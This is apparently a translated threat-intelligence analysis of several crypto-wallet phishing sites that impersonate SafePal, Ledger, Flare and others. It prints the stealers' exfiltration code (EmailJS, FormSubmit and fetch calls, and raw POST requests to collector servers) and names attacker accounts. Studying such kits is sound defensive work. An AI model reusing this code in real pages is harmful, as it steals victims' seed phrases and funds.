Phân tích chi tiết về lừa đảo tiền điện tử:
Phân tích 8 vụ tấn công thực tế

Mạo danh

Một “giao thức phi tập trung” hư cấu dành cho việc xác thực ví. Sử dụng bảng giá thời gian thực từ CryptoCompare và các liên kết đến các trình khám phá blockchain thực tế (Ethereum, BSC, Polygon, Avalanche, Solana, Cardano) để tăng tính xác thực. Trang đích hiển thị hơn 100 biểu tượng ví và quy trình "xác thực" gồm 3 bước.

Chuỗi thoát dữ liệu kép

Hệ thống backend tinh vi nhất trong số 5 hệ thống — mọi thông tin đăng nhập bị đánh cắp đều được chuyển qua hai kênh độc lập đồng thời:

Victim submits seed phrase
  |
  +--> Channel 1: axios POST --> Express.js on Render.com
  |      |
  |      +--> Telegram Bot API --> @metatech2 (instant DM)
  |
  +--> Channel 2: fetch POST --> EmailJS API
         |
         +--> Bestgrace309@gmail.com (email backup)

Kết quả điều tra OSINT

Mạo danh

Một bản sao hoàn hảo đến từng pixel của thực tế Aqualibre (AQLA) trang di chuyển token. Mã HTML chứa một thẻ siêu dữ liệu cho biết nguồn: data-scrapbook-source="https://token.aqla.app/migration", có dấu thời gian ngày 19 tháng 11 năm 2024.

Phương pháp Zero-Code

Kẻ tấn công này cần không có mã phía máy chủ. Biểu mẫu này gửi dữ liệu trực tiếp đến Không tĩnh — một hệ thống xử lý biểu mẫu hợp lệ dành cho các trang web tĩnh. Mỗi lần gửi biểu mẫu đều được chuyển tiếp đến địa chỉ email của kẻ lừa đảo. Địa chỉ email của kẻ tấn công là không bao giờ hiển thị trong mã nguồn.

<form action="https://forms.un-static.com/forms/c78173e2d991...94c3f76">
  <textarea name="phrase"></textarea>
  <input name="private-key" />
  <textarea name="keystore-json"></textarea>
  <input name="password" />
</form>

Mạo danh

Tên miền con chứa "safpal" — một cách viết sai chính tả có chủ ý của SafePal, một ví phần cứng phổ biến. Trang web này tự xưng là "Blockchain Wallet Rectification" với 26 danh mục vấn đề giả mạo. Trang web sử dụng Typed.js để tạo hiệu ứng động cho tên các chuỗi khối (Ethereum, BSC, Polygon...) và một bảng hiển thị giá LiveCoinWatch nhằm tạo sự tin cậy.

Cùng một bộ thiết bị, cùng một người vận hành?

Sử dụng mẫu lừa đảo hoàn toàn giống hệt nhau như Địa điểm số 2: giống hệt connect.html, giống hệt nhau wallets.html với hơn 60 biểu tượng, cùng một nền tảng Un-static (ID biểu mẫu khác nhau — 6f1b82c3...da9943af). Bộ dụng cụ giống hệt nhau này cho thấy rõ ràng rằng một nhà điều hành quản lý cả hai trang web.

Các lỗi chính tả trong mã nguồn: "Privay Policy" (thiếu chữ 'c'), "seperated" (phải là "separated"), "Kestore" (thiếu chữ 'y'). Trường mật khẩu sử dụng type="text" thay vì type="password".

Mạo danh

Một bản sao gần như hoàn hảo của Mạng Flare portal — một blockchain EVM Layer-1 thực sự với các giao thức FTSO và Data Connector. Sao chép hơn 30 đối tác trong hệ sinh thái, giao diện điều hướng và nhận diện thương hiệu. Biểu tượng favicon được tải từ một tên miền typosquat: portal.flaremainet.com (thiếu một chữ 'n' trong từ "mainnet").

Cơ chế dự phòng kép của EmailJS

Trang web duy nhất sử dụng hai tài khoản EmailJS riêng biệt cùng lúc để đảm bảo tính dự phòng chống Gỡ bỏ:

// Channel 1: EmailJS SDK
emailjs.send('service_6dt5h1k', 'template_hjqp9gb', payload)
// Key: Sza6lhzA9hKHrm1k4

// Channel 2: jQuery AJAX direct
$.ajax('https://api.emailjs.com/api/v1.0/email/send', {
  data: { service_id: 'service_isy47de',
          template_id: 'template_dkk4d1b',
          user_id: 'JsVEgXVcaSTro1etu' }
})

Tiêu đề email cho mỗi vụ trộm cắp: "New Wallet Details from Flare".

Trang web số 4: quảng cáo trả phí, theo dõi phân tích và trích xuất dữ liệu theo hai hướng — chiến dịch chuyên nghiệp nhất

Mạo danh

Một dịch vụ chung mang tên "COIN NODE" / "Wallet Fix" (không thuộc thương hiệu cụ thể nào). Bản quyền "Wallet Fix 2022" — mẫu bộ công cụ này đã có tuổi đời ít nhất 4 năm. Hình ảnh được lưu trữ trên pumpeth.com (WordPress trên AWS).

Dịch vụ lừa đảo qua email (Phishing-as-a-Service)

Kiến trúc backend đáng lo ngại nhất: một API đa người dùng dựa trên UUID:

POST https://api.pulseresolve.com/a26db20c-1dc4-4208-a60a-c2c3b22c02ef
Content-Type: multipart/form-data

wallet=Metamask&type=phrase&phrase=buddy+surprise+vapor+river+...

Mỗi kẻ lừa đảo đều có một điểm cuối UUID riêng. Một nhà điều hành trung tâm chịu trách nhiệm duy trì API, theo dõi các chiến dịch và có thể nhận một phần tiền bị đánh cắp. Đây là trộm cắp tiền điện tử có tổ chức — mô hình “Phishing-as-a-Service”.

Cơ sở hạ tầng liên quan (Hầu như không còn hoạt động)

Mạo danh

A chiến dịch hai mũi nhọn: một “Trung tâm hỗ trợ” chung tại wallet-support-39n.pages.dev với 15 danh mục phát hành giả mạo và 39 thương hiệu ví, cùng với một Bản sao quy trình đăng ký Ledger với độ chính xác đến từng pixel tại ledger-recovery.support được lưu trữ trên Replit — bao gồm các tính năng chọn mẫu thiết bị, thiết lập mã PIN và bảng cụm từ hạt giống gồm 24 từ với Tính năng tự động hoàn thành BIP39 thực sự.

Hệ thống C2 chống quét

Trang hỗ trợ ví gửi dữ liệu bị đánh cắp đến api.uranustoken.org/log — một máy chủ điều khiển (C2) chạy trên nền tảng nginx/Ubuntu được tùy chỉnh, đặt phía sau Cloudflare. Phần backend cố ý từ chối tất cả các yêu cầu GET (trả về lỗi 522 do hết thời gian chờ), chỉ phản hồi với yêu cầu POST. Điều này có nghĩa là các công cụ quét URL, trình thu thập dữ liệu của Google Safe Browsing và các nhà nghiên cứu bảo mật khi gửi yêu cầu GET đến điểm cuối này sẽ không nhận được phản hồi nào — máy chủ C2 dường như đã ngừng hoạt động.

// config.js — C2 config exposed in plaintext
const config = {
  serverURL: "https://api.uranustoken.org",
  allowedWallets: ["phantom","solfare","metamask","trustwallet",
    "coinbasewallet","ledger","trezor","okx","sui","backpack",
    "tonkeeper","magiceden","slush" /* + 26 more */]
};
window.IWMConfig = config;

// Exfiltration function (deobfuscated from bundle)
function Ae(seedPhrase, passPhrase, walletName) {
  fetch(serverURL + "/log", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({seedPhrase, passPhrase, walletName, apiKey})
  })
}

Bản sao của Ledger chạy một phần backend Express.js riêng biệt ngay trên chính Replit: POST /api/recovery-phrase thu thập {deviceId, pin, phrase}. Nó trả về 400 {"error":"Invalid data provided"} khi gặp dữ liệu đầu vào không hợp lệ — xác nhận rằng phần xử lý phía sau là đang hoạt động và đang được xác thực tích cực dữ liệu bị đánh cắp.

Kết quả điều tra OSINT

Mạo danh

Một “Nền tảng ra mắt phi tập trung” chung với 21 loại mồi (Staking, Chuyển đổi, Xác minh danh tính (KYC), Chương trình tặng quà, Nhận phần thưởng, Khôi phục tài sản, Bán trước, Phát hành NFT, Tài khoản bị khóa...) và Hơn 70 thương hiệu ví — một trong những danh sách ví tiền điện tử đầy đủ nhất mà chúng tôi từng gặp. Lỗi chính tả dễ nhận ra “Sychronize” (thiếu chữ ‘n’) đã vạch trần đây là hàng giả.

Pipeline xử lý FormSubmit

Công dụng FormSubmit.co — một dịch vụ chuyển đổi biểu mẫu sang email hợp pháp. Giá trị băm của điểm cuối a2cf4131f1a5d39453c7c183df96f86f là giá trị MD5 của địa chỉ email của kẻ lừa đảo. Chúng tôi đã thử hàng trăm mẫu địa chỉ email theo phương pháp dò tìm toàn bộ trên các dịch vụ Gmail, Yahoo, Hotmail, ProtonMail, Yandex và Mail.ru — không tìm thấy kết quả phù hợp. Kẻ lừa đảo sử dụng một địa chỉ email hiếm gặp hoặc được tạo ngẫu nhiên.

// Exfiltration via jQuery AJAX → FormSubmit → scammer email
$.ajax({
    url: "https://formsubmit.co/ajax/a2cf4131f1a5d39453c7c183df96f86f",
    method: "POST",
    dataType: "JSON",
    data: {
        dappWord: seedPhrase,       // THE STOLEN SEED PHRASE
        dappName: walletName,       // Which wallet was selected
        linkName: "DAPP DECENTRALIZED"  // Campaign identifier
    }
});

Kết quả điều tra OSINT

Mạo danh

Không rõ — cả phần frontend lẫn phần backend đều đang ngoại tuyến. Dựa trên cấu trúc của payload, đây là một phần mềm đánh cắp cụm từ hạt giống của ví tiền điện tử. Cái Bucket công khai Cloudflare R2 (lưu trữ đối tượng, không phải Pages) là một phương thức lừa đảo qua email đã được ghi chép đầy đủ với hơn 5.000 trang web độc hại đã được phát hiện và lưu lượng truy cập tăng gấp 61 lần theo báo cáo của Netskope.

Cấu hình cho người mới bắt đầu

Điều quan trọng nhất phép toán cơ bản trong bộ sưu tập này. Các cụm từ hạt giống được gửi đi từng từ một đến một tập lệnh PHP đang chạy trên máy tính cá nhân hoặc máy chủ ảo (VPS) được kết nối qua dịch vụ DNS động miễn phí:

POST mercifuljigga4real123.publicvm.com/fuc.php
Content-Type: application/x-www-form-urlencoded

pass=Word+1:+finger+%0AWord+2:+flag+%0AWord+3:+across
    +%0AWord+4:+admit+%0AWord+5:+weather+%0AWord+6:+fragile
    +%0AWord+7:+trick+%0AWord+8:+weekend+%0AWord+9:+gift
    +%0AWord+10:+grit+%0AWord+11:+borrow+%0AWord+12:+access

Kết quả điều tra OSINT